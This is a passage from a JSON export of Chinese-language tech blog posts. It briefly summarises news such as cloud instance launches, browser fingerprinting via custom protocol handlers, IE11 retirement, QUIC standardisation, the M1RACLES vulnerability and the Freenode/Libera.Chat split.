href=\"https://blog.gslin.org/archives/2019/10/09/9239/ec2-%e6%8e%a8%e5%87%ba-18tb-%e8%88%87-24tb-%e7%9a%84%e6%a9%9f%e5%99%a8/\">EC2 推出 18TB 與 24TB 的機器...</a>」這邊有過這些機器買三年 RI 才能用，所以這次推出來 12TB 的機器算是隨時租用的機器裡面記憶體最多的了...\r\n\r\n<code>u-12tb1.112xlarge</code> 在 <code>us-east-1</code> 的價錢是 USD$109.2/hour，想要玩的人可以測試看看，至少應該玩的動 XD",
    "title": "EC2 的大記憶體機器又推新規格了..."
  },
  {
    "id": "10157",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的：「<a href=\"https://developers.notion.com/\">Start building with the Notion API</a>」，翻了一下 <a href=\"https://www.notion.so/pricing\">Pricing</a> 頁面的說明，看起來免費的 Personal 版也可以用？\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9G9OkTq.webp\" /><img src=\"https://i.gslin.com/imgur/9G9OkTq.png\" alt=\"\" /></picture>\r\n\r\n看了一下 API 的內容，寫一些工具塞資料還不錯，畢竟 Notion 的界面算漂亮的...",
    "title": "Notion 的 API 開放了"
  },
  {
    "id": "10159",
    "body": "看到「<a href=\"https://fingerprintjs.com/blog/external-protocol-flooding/\">Exploiting custom protocol handlers for cross-browser tracking in Tor, Safari, Chrome and Firefox</a>」這個方式，跨瀏覽器收集 fingerprint 追蹤。\r\n\r\n這次用的方式是透過 handler 追：\r\n\r\n<blockquote>The scheme flooding vulnerability allows an attacker to determine which applications you have installed. In order to generate a 32-bit cross-browser device identifier, a website can test a list of 32 popular applications and check if each is installed or not. On average, the identification process takes a few seconds and works across desktop Windows, Mac and Linux operating systems.</blockquote>\r\n\r\n最近大家比較常使用到的應該就是 <a href=\"https://zoom.us/\">Zoom</a> 從網頁把應用程式帶起來的方式：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ENfmOsg.webp\" /><img src=\"https://i.gslin.com/imgur/ENfmOsg.png\" alt=\"\" /></picture>\r\n\r\n而要怎麼偵測的部份，用到了不同瀏覽器的 side channel。\r\n\r\n<a href=\"https://www.chromium.org/\">Chromium</a> 系列的部份對應的 ticket 在「<a href=\"https://bugs.chromium.org/p/chromium/issues/detail?id=1096610\">Issue 1096610: External Protocol handler anti-flood protection is ineffective and flaky</a>」這邊有被提出來。主要用到的方法是，在遇到有 handler 時，連打兩次時會被擋下：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/U8AavwD.webp\" /><img src=\"https://i.gslin.com/imgur/U8AavwD.png\" alt=\"\" /></picture>\r\n\r\n被擋下後再打都會失敗，所以需要一個方式重設 flag，而內建的 Chrome PDF Viewer 剛好可以重設 flag：\r\n\r\n<blockquote>The built-in Chrome PDF Viewer is an extension, so every time your browser opens a PDF file it resets the scheme flood protection flag. Opening a PDF file before opening a custom URL makes the exploit functional.</blockquote>\r\n\r\n在 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 的 side channel 則是可以透過 same-origin policy 測試當作 side channel，對應的 ticket 在「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=1711084\">Scheme flooding technique for reliable cross-browser fingerprinting</a>」這邊：\r\n\r\n<blockquote>Every time you navigate to an unknown URL scheme, Firefox will show you an internal page with an error. This internal page has a different origin than any other website, so it is impossible to access it because of the Same-origin policy limitation. On the other hand, a known custom URL scheme will be opened as about:blank, whose origin will be accessible from the current website.</blockquote>\r\n\r\n在 <a href=\"https://www.apple.com/safari/\">Safari</a> 上的問題與 Firefox 一樣，不過沒登入看不到 ticket (也懶的註冊了)：\r\n\r\n<blockquote>You are not authorized to access bug #225769. To see this bug, you must first log in to an account with the appropriate permissions.</blockquote>\r\n\r\n另外，雖然 <a href=\"https://www.torproject.org/\">Tor Browser</a> 底層是 Firefox，但因為有改變預設值，所以攻擊者也得換方法：\r\n\r\n<blockquote>Tor Browser is based on the Firefox source code, so the Same-origin policy trick was used here as well. But because Tor Browser does not show pop-ups, we used the same-origin policy trick with iframe elements instead.</blockquote>\r\n\r\n這個方法還蠻暴力的...",
    "title": "跨瀏覽器追蹤的方式"
  },
  {
    "id": "10161",
    "body": "微軟宣佈了淘汰 <a href=\"https://en.wikipedia.org/wiki/Internet_Explorer_11\">IE11</a> 的計畫：「<a href=\"https://blogs.windows.com/windowsexperience/2021/05/19/the-future-of-internet-explorer-on-windows-10-is-in-microsoft-edge/\">The future of Internet Explorer on Windows 10 is in Microsoft Edge</a>」。\r\n\r\n標題上方的說明先把重點提出來了：\r\n\r\n<blockquote>The Internet Explorer 11 desktop application will be retired on June 15, 2022</blockquote>\r\n\r\n不過要注意，Windows 10 LTSC 與 server 版的日期不在這次公告的範圍：\r\n\r\n<blockquote>Note: This retirement does not affect in-market Windows 10 LTSC or Server Internet Explorer 11 desktop applications. It also does not affect the MSHTML (Trident) engine. For a full list of what is in scope for this announcement, and for other technical questions, please <a href=\"https://aka.ms/IEModeFAQ\">see our FAQ</a>.</blockquote>\r\n\r\n在 <a href=\"https://techcommunity.microsoft.com/t5/windows-it-pro-blog/internet-explorer-11-desktop-app-retirement-faq/ba-p/2366549\">FAQ</a> 裡面看起來 Windows 10 LTSC 與 Server 版應該會照著本身作業系統的維護週期走。\r\n\r\n另外在文章裡也有提到 <a href=\"https://en.wikipedia.org/wiki/Microsoft_365\">Microsoft 365</a> 產品線只支援到今年八月 17 日 (文字部份出自維基百科的「Internet Explorer 11<a href=\"https://en.wikipedia.org/wiki/Internet_Explorer_11\"></a>」)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/sr4AB4v.webp\" /><img src=\"https://i.gslin.com/imgur/sr4AB4v.png\" alt=\"\" /></picture>\r\n\r\n<blockquote>On August 17, 2020, Microsoft published a timeline indicating that the Microsoft Teams product will stop supporting Internet Explorer 11 on November 30, 2020, and Microsoft 365 products will end Internet Explorer 11 support on August 17, 2021.</blockquote>\r\n\r\n對一般使用上影響應該不會太大，因為目前市占率的關係，一般網站使用 <a href=\"https://www.chromium.org/\">Chromium</a> 為底的瀏覽器應該都會動，主要的影響應該是遇到一些古董系統，一定得用 IE 才能使用。",
    "title": "IE11 的淘汰計畫"
  },
  {
    "id": "10162",
    "body": "傳言一陣子了，最近又在「<a href=\"https://plausible.io/blog/google-amp\">Google AMP is dead! AMP pages no longer get preferential treatment in Google search</a>」這邊看到這個消息，讓人煩悶的 <a href=\"https://en.wikipedia.org/wiki/Accelerated_Mobile_Pages\">AMP</a> 終於可以丟到垃圾桶了。\r\n\r\n<a href=\"https://www.google.com/\">Google</a> 的公告說明則是在「<a href=\"https://developers.google.com/search/blog/2021/04/more-details-page-experience\">More time, tools, and details on the page experience update</a>」這邊。\r\n\r\n<blockquote>This means that using the AMP format is no longer required and that any page, irrespective of its Core Web Vitals score or page experience status, will be eligible to appear in the Top Stories carousel.</blockquote>\r\n\r\n一般猜測會有這樣的改變，主要是在去年年底啟動的反托拉斯訴訟，針對 Google 在推廣 AMP 技術時利用 search engine 的優勢造成不公平競爭：「<a href=\"https://www.theregister.com/2020/12/19/google_amp_resignation/\">Google AMP gets a shock to its system as advisor quits, lawsuit claims foul play</a>」。\r\n\r\n<blockquote>Google's Accelerated Mobile Pages technology, known as AMP among web publishers, took a beating this week as an antitrust lawsuit filed by the Attorney General of Texas charged that the ad biz used AMP to hinder competition.</blockquote>\r\n\r\n可喜可賀...",
    "title": "Google 推的 AMP 終於廢了..."
  },
  {
    "id": "10163",
    "body": "看到「<a href=\"https://techcrunch.com/2021/05/19/undead-again-google-brings-back-rss/\">Google revives RSS</a>」這篇，這大概是我在 2021 年最想不到的事情了：<a href=\"https://www.google.com/chrome/\">Google Chrome</a> 加入 RSS reader 功能 (雖然很陽春)。\r\n\r\n<a href=\"https://www.google.com/\">Google</a> 的說明文在「<a href=\"https://blog.chromium.org/2021/05/an-experiment-in-helping-users-and-web.html\">An experiment in helping users and web publishers create deeper connections on Chrome</a>」這邊。\r\n\r\n目前只有美國的 <a href=\"https://www.google.com/chrome/canary/\">Google Chrome Canary</a> 用戶才有機會看到這個功能，依照官方的截圖應該是行動版？\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rFSIi6h.webp\" /><img src=\"https://i.gslin.com/imgur/rFSIi6h.png\" alt=\"\" /></picture>\r\n\r\n把當年的 <a href=\"https://en.wikipedia.org/wiki/Google_Reader\">Google Reader</a> 吐出來啊...",
    "title": "這大慨是我在 2021 年最想不到的事情：Google Chrome 加入 RSS 功能"
  },
  {
    "id": "10165",
    "body": "在「<a href=\"https://talawah.io/blog/extreme-http-performance-tuning-one-point-two-million/\">Extreme HTTP Performance Tuning: 1.2M API req/s on a 4 vCPU EC2 Instance</a>」這篇文章裡面，作者在示範各種奇技淫巧調<del>教</del>校 HTTP server。\r\n\r\n在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論也蠻有趣的：「<a href=\"https://news.ycombinator.com/item?id=27226382\">Extreme HTTP Performance Tuning (talawah.io)</a>」。\r\n\r\n雖然是在講 HTTP server，但裡面有很多東西可以拿出來獨立用。\r\n\r\n想特地拿出來聊的大項目是「Speculative Execution Mitigations」這段，作者有些說明，除非你真的知道你在做什麼，不然不應該關掉這些安全相關的修正：\r\n\r\n<blockquote>You should probably leave the mitigations enabled for that system.</blockquote>\r\n\r\n而作者是考慮到 <a href=\"https://aws.amazon.com/\">AWS</a> 有推出 <a href=\"https://aws.amazon.com/ec2/nitro/nitro-enclaves/\">AWS Nitro Enclaves</a> 的前提下決定關掉，但我會建議在 <code>*.metal</code> 的機器上才這樣做，這樣可以避免這台機器上有其他 AWS 帳號的程式在跑。\r\n\r\n測試中關了一卡車 mitigation，得到了 28% 的效能提昇：\r\n\r\n<blockquote>Disabling these mitigations gives us a performance boost of around 28%.</blockquote>\r\n\r\n這其實比預期中多了不少，這對於自己擁有實體機房跑 <a href=\"https://www.intel.com/\">Intel</a> 平台的使用者來說，很吸引人啊...",
    "title": "從調校 HTTP Server 的文章中學各種奇技淫巧"
  },
  {
    "id": "10166",
    "body": "首先是 <a href=\"https://www.apple.com/\">Apple</a> 宣佈了無損的音樂串流服務，不另外加價：「<a href=\"https://www.macrumors.com/2021/05/17/apple-music-spatial-audio-announced/\">Apple Music Launching Spatial Audio With Dolby Atmos and Lossless Audio in June at No Extra Cost</a>」，官方新聞稿在「<a href=\"https://www.apple.com/newsroom/2021/05/apple-music-announces-spatial-audio-and-lossless-audio/\">Apple Music announces Spatial Audio with Dolby Atmos; will bring Lossless Audio to entire catalog</a>」。\r\n\r\n再來是 <a href=\"https://www.amazon.com/\">Amazon</a> 也宣佈跟上，本來就有提供無損的 <a href=\"https://www.amazon.com/music/unlimited/hd\">Amazon Music HD</a> 下放到 <a href=\"https://www.amazon.com/music/unlimited\">Amazon Music Unlimited</a> 方案也可以聽了：「<a href=\"https://www.macrumors.com/2021/05/17/amazon-music-lossless-for-free/\">Amazon Music Matching Apple by Offering Hi-Fi Tier at No Extra Cost</a>」。\r\n\r\n這對 <a href=\"https://www.spotify.com/\">Spotify</a> 的壓力應該不小，畢竟已經先宣佈會推出無損版，但卻反而先被競爭對手出招先行制定價錢了...",
    "title": "Apple 與 Amazon 都要推出無損版的音樂串流服務了"
  },
  {
    "id": "10167",
    "body": "最近 IRC community 吵很兇的一個主題，<a href=\"https://freenode.net/\">Freenode</a> 的志工團隊因為 Freenode 後面的公司易主，而且接手後的行為讓志工團隊很不爽，走了二三十個人，決定成立自己的 IRC network <a href=\"https://libera.chat/\">Libera.Chat</a>：「<a href=\"https://www.kline.sh/\">freenode now belongs to Andrew Lee, and I'm leaving for a new network.</a>」，其中這邊提到的 <a href=\"https://en.wikipedia.org/wiki/Andrew_Lee_(entrepreneur)\">Andrew Lee</a>，是 VPN 廠商 <a href=\"https://en.wikipedia.org/wiki/Private_Internet_Access\">Private Internet Access</a> 的老闆。\r\n\r\n事情的一些脈絡可以在維基百科「<a href=\"https://en.wikipedia.org/wiki/Libera_Chat\">Libera Chat</a>」條目裡看到，另外在維基百科上的「<a href=\"https://en.wikipedia.org/wiki/Internet_Relay_Chat\">Internet Relay Chat</a>」條目裡面可以看到 Freenode 應該是目前最大的 IRC network，雖然相比全盛時期已經少很多人了。\r\n\r\n這次有不少 open source community 的成員響應搬家，搬出來不知道會讓 Freenode 受多少傷，也有可能下面其他的使用者根本不在乎之類的...",
    "title": "Freenode 志工團隊決定離開，成立 Libera.Chat"
  },
  {
    "id": "10169",
    "body": "人在日本的資安專家 <a href=\"https://marcan.st/\">Hector Martin</a> 找到了 <a href=\"https://en.wikipedia.org/wiki/Apple_M1\">Apple M1</a> 的安全漏洞，可以不用透過 <a href=\"https://en.wikipedia.org/wiki/MacOS_Big_Sur\">macOS Big Sur</a> 提供的界面，直接透過 M1 的漏洞跨使用者權限傳輸資料，這可以用在突破 sandbox 的限制。而也如同目前的流行，他取了一個好記的名字：「<a href=\"https://m1racles.com/\">M1RACLES: M1ssing Register Access Controls Leak EL0 State</a>」，對應的 <a href=\"https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures\">CVE</a> 是 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30747\">CVE-2021-30747</a>。\r\n\r\n先講比較特別的點，PoC 的影片放在 <a href=\"https://www.youtube.com/\">YouTube</a> 上，作者拿 <a href=\"https://zh.wikipedia.org/wiki/Bad_Apple!!\">Bad Apple!!</a> 當作示範，這很明顯是個雙關的點：\r\n\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/hLQKrEh6w7M\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\r\n\r\n這應該是當年的影繪版本，看了好懷念啊... 當年看到的時候有種「浪費才能」的感覺，但不得不說是個經典。\r\n\r\n在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上有討論可以翻翻：「<a href=\"https://news.ycombinator.com/item?id=27285700\">M1racles: An Apple M1 covert channel vulnerability (m1racles.com)</a>」。\r\n\r\n依照作者的說明，<a href=\"https://en.wikipedia.org/wiki/Apple_A14\">Apple A14</a> 因為架構類似，也有類似的問題，不過作者沒有 <a href=\"https://www.apple.com/iphone/\">iPhone</a>，沒辦法實際測試：\r\n\r\n<blockquote>Are other Apple CPUs affected?\r\n\r\nMaybe, but I don't have an iPhone or a DTK to test it. Feel free to report back if you try it. The A14 has been confirmed as also affected, which is expected, as it is a close relative of the M1.</blockquote>\r\n\r\n另外作者覺得這個安全漏洞在 macOS 上還好，主要是你系統都已經被打穿可以操控 <code>s3_5_c15_c10_1</code> register 了，應該會有更好的方式可以用：\r\n\r\n<blockquote>So you're telling me I shouldn't worry?\r\n\r\nYes.\r\n\r\nWhat, really?\r\n\r\nReally, nobody's going to actually find a nefarious use for this flaw in practical circumstances. Besides, there are already a million side channels you can use for cooperative cross-process communication (e.g. cache stuff), on every system. Covert channels can't leak data from uncooperative apps or systems.\r\n\r\nActually, that one's worth repeating: Covert channels are completely useless unless your system is already compromised.</blockquote>\r\n\r\n比較明顯的問題應該是 iOS 這邊的 privacy issue，不過 iOS 上的 app store 有基本的保護機制：(不過想到作者可以故意寫成 RCE 漏洞...)\r\n\r\n<blockquote>What about iOS?\r\n\r\niOS is affected, like all other OSes. There are unique privacy implications to this vulnerability on iOS, as it could be used to bypass some of its stricter privacy protections. For example, keyboard apps are not allowed to access the internet, for privacy reasons. A malicious keyboard app could use this vulnerability to send text that the user types to another malicious app, which could then send it to the internet.\r\n\r\nHowever, since iOS apps distributed through the App Store are not allowed to build code at runtime (JIT), Apple can automatically scan them at submission time and reliably detect any attempts to exploit this vulnerability using static analysis (which they already use). We do not have further information on whether Apple is planning to deploy these checks (or whether they have already done so), but they are aware of the potential issue and it would be reasonable to expect they will. It is even possible that the existing automated analysis already rejects any attempts to use system registers directly.</blockquote>",
    "title": "居然在安全性漏洞的 PoC 上面看到拿 Bad Apple!! 當作範例"
  },
  {
    "id": "10173",
    "body": "前幾天提到「<a href=\"https://blog.gslin.org/archives/2021/05/22/10167/freenode-%e5%bf%97%e5%b7%a5%e5%9c%98%e9%9a%8a%e6%b1%ba%e5%ae%9a%e9%9b%a2%e9%96%8b%ef%bc%8c%e6%88%90%e7%ab%8b-libera-chat/\">Freenode 志工團隊決定離開，成立 Libera.Chat</a>」，本來還在猜從 <a href=\"https://freenode.net/\">Freenode</a> 搬移的速度可能就一批一批搬，結果這幾天 <a href=\"https://en.wikipedia.org/wiki/Andrew_Lee_(entrepreneur)\">Andrew Lee</a> 決定做出是一些提油滅火的行為，整個搬移的速度瞬間加快不少...\r\n\r\n首先是只要在頻道上提到要轉移到 <a href=\"https://libera.chat/\">Libera Chat</a>，頻道就會馬上被 Freenode 封鎖並且由官方「接管」，於是 <a href=\"https://www.gentoo.org/\">Gentoo</a> 的頻道就被幹掉了：「<a href=\"https://www.gentoo.org/news/2021/05/26/gentoo-freenode-channels-hijacked.html\">Gentoo Freenode channels have been hijacked</a>」。\r\n\r\n另外 Andrew Lee 直接在 Freenode 的 blog 上面嗆目前他們還是最大的 IRC network，並且繼續支持 FOSS 社群：「<a href=\"https://freenode.net/news/for-foss\">freenode exists for FOSS</a>」，基本上試看不太出來啦...\r\n\r\n目前 Libera Chat 已經跑一個禮拜了：「<a href=\"https://libera.chat/news/one-week-of-libera-chat\">One week of Libera Chat</a>」，陸陸續續看到很多社群都已經轉過去了，看起來應該會是不可擋的趨勢了...",
    "title": "Freenode 的事情愈演愈烈了，而且看起來一發不可收拾中..."
  },
  {
    "id": "10174",
    "body": "在「<a href=\"https://www.cnx-software.com/2021/05/27/usb-type-c-specification-2-1-allows-up-to-240w-extended-power-range-epr/\">USB Type-C Specification 2.1 allows up to 240W Extended Power Range (EPR)</a>」這邊看到這個規格：\r\n\r\n<blockquote>Extended Power Range cables have additional requirements to assure that these cables can deliver the full defined voltage and current range for USB PD EPR operation. EPR cables shall functionally support a reported 50 V and 5 A o peration. The minimum functional voltage that a cable shall support is 53.65 V. The electrical components potentially in the path of V BUS in an EPR cable, e.g. bypass capacitors, should be minimally rated for 63 V.</blockquote>\r\n\r\n<blockquote>All EPR cables shall be Electronically Marked and include EPR-specific information in the eMarker as defined by the USB PD specification. As defined in the USB PD specification, EPR cables are marked as 50 V and 5 A capable. All EPR cables shall be visibly  identified with EPR cable identification icons as defined by the USB-IF. This is required so that end users will be able to confirm visually that the cable supports up to as high of PDP = 240W as defined in the USB PD specification.</blockquote>\r\n\r\n也是基於 E-Marker 晶片的關係，除了充電頭支援外，線本身也得支援。這解決了目前很多家桌機都自己搞 &gt;100W 的 dock 來支援高瓦數的充電，推出一個標準來涵蓋收斂...\r\n\r\n會不會搞到以後連桌機都可以用 <a href=\"https://en.wikipedia.org/wiki/USB-C\">USB-C</a> 界面供電啊...",
    "title": "USB Type-C 要增加 240W 的規格..."
  },
  {
    "id": "10176",
    "body": "前幾天的新聞了，這兩天 <a href=\"https://www.fastly.com/\">Fastly</a> 與 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 也都發文章出來了，<a href=\"https://quicwg.org/\">QUIC</a> 成為標準：「<a href=\"https://www.fastly.com/blog/quic-is-now-rfc-9000\">QUIC is now RFC 9000</a>」、「<a href=\"https://blog.cloudflare.com/quic-version-1-is-live-on-cloudflare/\">QUIC Version 1 is live on Cloudflare</a>」。\r\n\r\n主要是這兩家都發稿宣傳他們的平台都支援 QUIC 了，接下來可以等一些測試報告，看看在 web 這種已經有不少複雜的 workaround 機制下，<a href=\"https://en.wikipedia.org/wiki/TCP_BBR\">TCP BBR</a> 環境的 <a href=\"https://en.wikipedia.org/wiki/HTTP/2\">HTTP/2</a> 跟 QUIC 環境會有多少差異... 記得 QUIC 也是 BBR-based 的演算法。\r\n\r\n在 QUIC 下的 <code>https</code> 協定會走 <code>443/udp</code>，如果防火牆是預設阻擋所有連線，然後逐條開放的話，需要另外開這組設定。\r\n\r\n另外就是等 <a href=\"https://nginx.org/\">nginx</a> 支援了，在「<a href=\"https://quic.nginx.org/\">NGINX QUIC Preview</a>」這邊有些資料，然後「<a href=\"<a href=\"https://hg.nginx.org/nginx-quic/shortlog/quic\"></a>\">nginx-quic: log</a>」裡面可以看到東西，裡面不少 commit 只是跟 nginx 本家同步而已，不過還是可以看到一些跟 QUIC 有關的...",
    "title": "QUIC 成為標準，從 RFC 8999 到 RFC 9002"
  },
  {
    "id": "10178",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://github.com/livewire-ui/spotlight/issues/25\">Safari tries to fill username</a>」這個 Safari 的 \"feature\"。\r\n\r\n作者發現網站在 <a href=\"https://www.apple.com/safari/\">Safari</a> 上會出現登入的提示功能，像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kXABoAU.webp\" /><img src=\"https://i.gslin.com/imgur/kXABoAU.png\" alt=\"\" /></picture>\r\n\r\n本來以為是 bug，但實際測過後看起來像是 feature，但抓字串的方法很容易誤判，看起來是抓 <code>welcome back</code> 這組字串：\r\n\r\n<blockquote>On further consideration I don't think it's a bug. I think Safari is assuming any page with \"Welcome Back\" on it is a login page and enabling this behaviour. Therefore I think it's intended.</blockquote>\r\n\r\n然後作者也有找到 workaround，用 <code>&amp;nbsp;</code> 去閃偵測：\r\n\r\n<blockquote>Nice one. I found that using a non-breaking space prevents the behaviour.\r\n<pre>&gt;p&gt;welcome&nbsp;back&lt;/p&gt;</pre></blockquote>\r\n\r\n其他人也有發現其他的字串也會中獎：\r\n\r\n<blockquote>It seems the same applies to \"Sign In\"</blockquote>\r\n\r\n<blockquote>\"Log in\" works too. I tried a couple other languages (Finnish, German, French, Chinese) but the issue/feature seems to only happen with English (although I did use Google Translate, so I can't guarantee I used the right idioms).</blockquote>\r\n\r\n目前看起來遇到就只能先 workaround 了...",
    "title": "Safari 的 \"feature\""
  },
  {
    "id": "10180",
    "body": "在去年年底 <a href=\"https://aws.amazon.com/\">AWS</a> 的公佈的「<a href=\"https://aws.amazon.com/blogs/aws/reinvent-2020-preannouncements-for-tuesday-december-1/\">re:Invent 2020 – Preannouncements for Tuesday, December 1</a>」裡面提到兩個有趣的產品，一個是 <a href=\"https://aws.amazon.com/ecs/anywhere/\">Amazon ECS Anywhere</a>，另外一個是 <a href=\"https://aws.amazon.com/eks/eks-anywhere/\">Amazon EKS Anywhere</a>，現在 Amazon ECS Anywhere 開放了：「<a href=\"https://aws.amazon.com/blogs/aws/getting-started-with-amazon-ecs-anywhere-now-generally-available/\">Getting Started with Amazon ECS Anywhere – Now Generally Available</a>」。\r\n\r\n這兩個服務都是把自家的機器 container 化然後讓 AWS 的服務直接管理，只是一個是 ECS (AWS 自家的規格)，另外一個是 EKS (基於 <a href=\"https://kubernetes.io/\">Kubernetes</a>)，這次丟出來當然很重要，不過還是會等 EKS Anywhere 出來後一起比較看看。\r\n\r\n價錢的部份就是照機器數量算，一台機器大約 USD$7.38/month，以 bare metal 等級的機器來說倒是沒什麼問題：\r\n\r\n<blockquote>You pay $0.01025 per hour for each managed ECS Anywhere on-premises instance. An on-premises instance is a customer-managed instance that has been registered with an Amazon ECS cluster and runs the Amazon ECS container agent.</blockquote>\r\n\r\n這樣讓地端的機器更容易上雲，不過離台灣本地沒有 region 在網路的 latency 上就有點討厭了，另外一種搞法是找 dedicated hosting 或是自己塞機器進 colocation hosting，然後掛上這類服務？",
    "title": "Amazon ECS Anywhere"
  },
  {
    "id": "10181",
    "body": "<a href=\"https://sentry.io/\">Sentry</a> 可以拿來蒐集自己開發軟體的錯誤事件，剛剛突發奇想用搜尋引擎找了一下，發現 Sentry 是有支援 <a href=\"https://en.wikipedia.org/wiki/Bash_(Unix_shell)\">Bash</a> 的：「<a href=\"https://blog.sentry.io/2017/11/28/sentry-bash\">Sending Sentry Events from Bash</a>」。\r\n\r\n文章裡面也直接提到了 hook 的用法，在裝了 <a href=\"https://docs.sentry.io/product/cli/\\\">sentry-cli</a> 後可以掛進來：\r\n\r\n<pre>\r\n#!/bin/bash\r\nexport SENTRY_DSN=<your dsn here>\r\neval \"$(sentry-cli bash-hook)\"\r\n</pre>\r\n\r\n自己架 Sentry 的步驟我有丟在「<a href=\"https://wiki.gslin.org/wiki/Sentry\">Sentry</a>」這邊，或者也可以用雲端的版本。\r\n\r\n丟給同事參考看看...",
    "title": "原來 Sentry 有支援 Bash..."
  },
  {
    "id": "10182",
    "body": "本來花了一些功夫整理了一下 <a href=\"https://github.com/lightvector/KataGo\">KataGo</a> + <a href=\"https://github.com/featurecat/lizzie\">Lizzie</a> 純 CPU 版本在 Windows 上的安裝方式 (在「<a href=\"https://wiki.gslin.org/wiki/KataGo/Windows\">KataGo/Windows</a>」這邊)，後來找了一下發現早就有人做的更簡單了：「<a href=\"https://github.com/wonsiks/BadukMegapack\">BadukMegapack</a>」。\r\n\r\n底層的部份除了可以選擇裝 KataGo 外，也可以選擇目前已經停止維護的 <a href=\"https://github.com/leela-zero/leela-zero\">Leela Zero</a>，或是 <a href=\"https://github.com/sai-dev/sai\">SAI</a>、<a href=\"https://github.com/ymgaq/AQ\">AQ</a> 與 <a href=\"https://github.com/zakki/Ray\">Ray</a>。\r\n\r\n而界面的部份除了可以用 Lizzie 外 (而且還是改過的加強版 XD)，還可以選其他的界面... 除此之外還連 <a href=\"https://en.wikipedia.org/wiki/Java_virtual_machine\">JVM</a> (Java 8) 都一起拉進來幫你裝。\r\n\r\n看起來算是包的好好的... 看起來最困難的應該是弄一張高階顯卡了？",
    "title": "Windows 上現成的 KataGo + Lizzie 安裝程式"
  },
  {
    "id": "10183",
    "body": "標題只寫了 <a href=\"https://chrome.google.com/webstore\">Google Web Store</a>，主要是因為瀏覽器市占率的問題，其實是包含 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 的 Add-Ons。\r\n\r\n這是在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到的：「<a href=\"https://github.com/extesy/hoverzoom/discussions/670\">Many temptations of an open-source chrome extension developer</a>」，講一直會有人來接觸，可以付費給開發者，想要在這些專案裡面放一些「東西」，可能是蒐集資料，可能是強制導到特定的 search engine，也有可能更邪惡...\r\n\r\n另外是老規矩，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論也可以翻一翻，還蠻有趣的：「<a href=\"https://news.ycombinator.com/item?id=27327892\">Many temptations of an open-source Chrome extension developer (github.com/extesy)</a>」。\r\n\r\n先大概看一下 <a href=\"https://github.com/extesy/hoverzoom\">Hover Zoom+</a> 這個套件在 Google Web Store 的安裝數量，大約 30 萬人：「<a href=\"https://chrome.google.com/webstore/detail/hover-zoom%20/pccckmaobkjjboncdfnnofkonhgpceea\">Hover Zoom+</a>」，作者公佈的信件內容裡面有一些包括價錢與目的...\r\n\r\n話說回來，<a href=\"https://www.brave.com/\">Brave</a> 上的 <a href=\"https://github.com/Rob--W/crxviewer\">CRX Viewer</a> 還是沒修好啊：「<a href=\"https://github.com/Rob--W/crxviewer/issues/91\">Stopped working with Brave</a>」，要裝新的套件都得另外再拉 <code>crx</code> 檔下來看，麻煩不少...",
    "title": "Google Web Store 裡的黑暗交易"
  },
  {
    "id": "10184",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到的消息，<a href=\"https://stackoverflow.com/\">Stack Overflow</a> 被 <a href=\"https://www.prosus.com/\">Prosus</a> 併購，直接站上第一名：「<a href=\"https://www.wsj.com/articles/software-developer-community-stack-overflow-sold-to-tech-giant-prosus-for-1-8-billion-11622648400\">Stack Overflow Sold to Tech Giant Prosus for $1.8 Billion</a>」，Prosus 的官方新聞稿也已經出來了：「<a href=\"https://www.prosus.com/news/prosus-to-acquire-stack-overflow-for-us18-billion/\">Prosus to acquire Stack Overflow for US$1.8 billion</a>」，Hacker News 上的討論：「<a href=\"https://news.ycombinator.com/item?id=27370026\">Stack Overflow sold to Prosus for $1.8B (wsj.com)</a>」也很熱鬧。\r\n\r\n算是大消息沒錯，不過不知道後續會有什麼樣的影響... Prosus 算是投資集團，不知道會對 Stack Overflow 有什麼想法，怎麼介入或是整合手上的資源。",
    "title": "Stack Overflow 被 Prosus 併購"
  },
  {
    "id": "10185",
    "body": "在 <a href=\"https://www.redhat.com/\">Red Hat</a> 的 blog 上看到 SCTP over UDP 的方式，讓不支援 SCTP 的 NAT 裝置也能使用 SCTP：「<a href=\"https://developers.redhat.com/articles/2021/06/04/easier-way-go-sctp-over-udp-linux-kernel\">An easier way to go: SCTP over UDP in the Linux kernel</a>」。\r\n\r\n這個方式也是個標準，在 RFC 6951：「<a href=\"https://www.rfc-editor.org/rfc/rfc6951.html\">UDP Encapsulation of Stream Control Transmission Protocol (SCTP) Packets for End-Host to End-Host Communication</a>」。\r\n\r\n<a href=\"https://www.kernel.org/\">Linux kernel</a> 則是在 5.11 之後才支援，不過翻了一下 5.11 是一般版，在 2021 年二月釋出，在五月底就已經 EoL：\r\n\r\n<blockquote>Stream Control Transmission Protocol over User Datagram Protocol (SCTP over UDP, also known as UDP encapsulation of SCTP) is a feature defined in RFC6951 and implemented in the Linux kernel space since 5.11.0.</blockquote>\r\n\r\n上一個 LTS 版本是 5.10，下一個不知道是什麼時候了...",
    "title": "SCTP over UDP"
  },
  {
    "id": "10187",
